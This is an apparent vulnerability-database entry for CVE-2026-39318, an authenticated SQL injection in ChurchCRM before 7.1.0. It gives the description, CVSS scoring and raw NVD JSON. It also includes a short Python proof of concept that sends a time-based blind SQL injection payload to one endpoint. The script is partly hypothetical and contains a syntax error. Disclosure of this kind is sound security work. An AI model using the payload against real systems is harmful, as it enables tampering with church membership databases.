Security Vulnerability Report
中文
CVE-2026-39318 CVSS 8.8 HIGH

CVE-2026-39318

Published: 2026-04-07 18:16:43
Last Modified: 2026-04-15 20:20:25

Description

ChurchCRM is an open-source church management system. Versions prior to 7.1.0 have an SQL injection vulnerability in the endpoints `/GroupPropsFormRowOps.php`, `/PersonCustomFieldsRowOps.php`, and `/FamilyCustomFieldsRowOps.php`. A user has to be authenticated. For `ManageGroups` privileges have to be enabled and for the other two endpoints the attack has to be executed by an administrative user. These users can inject arbitrary SQL statements through the `Field` parameter and thus modify tables from the database. This vulnerability is fixed in 7.1.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE
ChurchCRM < 7.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://target.com/GroupPropsFormRowOps.php" # Payload to test SQL Injection # The vulnerability is in the 'Field' parameter payload = { "Field": "1' OR SLEEP(5)-- -", # Simple time-based blind payload "Action": "Delete" # Hypothetical action based on endpoint name "RowOps" } # Authenticated session cookie is required cookies = { "PHPSESSID": "valid_session_id_here" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.elapsed.total_seconds() > 5: print("Vulnerable: SQL Injection triggered delay.") else: print("Check response manually.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39318", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:42.810", "lastModified": "2026-04-15T20:20:24.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Versions prior to 7.1.0 have an SQL injection vulnerability in the endpoints `/GroupPropsFormRowOps.php`, `/PersonCustomFieldsRowOps.php`, and `/FamilyCustomFieldsRowOps.php`. A user has to be authenticated. For `ManageGroups` privileges have to be enabled and for the other two endpoints the attack has to be executed by an administrative user. These users can inject arbitrary SQL statements through the `Field` parameter and thus modify tables from the database. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.0.5", "matchCriteriaId": "7DD42DAF-385C-4BEB-B5B9-50838CEA9D2E"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-8r53-w4r6-w62c", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j3vj-59vv-h4rc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j3vj-59vv-h4rc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}